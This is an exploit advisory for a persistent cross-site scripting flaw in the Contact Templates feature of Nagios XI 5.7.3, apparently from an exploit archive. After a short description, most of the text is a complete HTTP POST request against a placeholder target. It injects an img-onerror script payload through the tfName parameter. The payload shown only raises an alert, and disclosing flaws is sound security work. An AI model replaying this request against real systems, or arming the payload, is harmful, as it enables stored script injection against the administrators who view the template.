34 lines
No EOL
2.1 KiB
Text
34 lines
No EOL
2.1 KiB
Text
# Exploit Title: Nagios XI 5.7.3 - 'Contact Templates' Persistent Cross-Site Scripting
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# Date: 10-18-2020
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# Exploit Author: Matthew Aberegg
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# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
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# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
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# Software Link: https://www.nagios.com/downloads/nagios-xi/
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# Version: Nagios XI 5.7.3
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# Tested on: Ubuntu 18.04
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# Vulnerability Details
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# Description : A persistent cross-site scripting vulnerability exists in the "Contact Templates" functionality of the Core Config Manager of Nagios XI.
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# Vulnerable Parameter : tfName
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# POC
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# Exploit Details : The following request will create a contact template with an XSS payload as the contact template name. Click on "Relationships" for the malicious template to trigger the payload.
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POST /nagiosxi/includes/components/ccm/index.php?type=contacttemplate&page=1 HTTP/1.1
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Host: TARGET
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 642
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Origin: http://TARGET
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Connection: close
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Referer: http://TARGET/nagiosxi/includes/components/ccm/index.php?cmd=modify&type=contacttemplate&id=7&page=1&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1
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Cookie: nagiosxi=a354rem56a8aoeieqr9k2le39i
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Upgrade-Insecure-Requests: 1
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tfName=<img+src=a+onerror=alert(1)>&tfFriendly=&tfEmail=&tfPager=&Active=1&tfAddress1=&tfAddress2=&tfAddress3=&tfAddress4=&tfAddress5=&tfAddress6=&radHostNotifEnabled=2&selHostPeriod=0&radStatusInfos=2&radNoStatusInfos=2&radServiceNotifEnabled=2&selServicePeriod=0&radCanSubCmds=2&radContactgroup=2&radServicecommand=2&radHostcommand=2&txtVariablename=&txtVariablevalue=&cmd=submit&mode=modify&hidId=7&hidName=test&hidServiceDescription=&hostAddress=127.0.0.1&exactType=contacttemplate&type=contacttemplate&genericType=contacttemplate&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1&token=3b8273eea1213ac4d2c1f3da1b0c370d |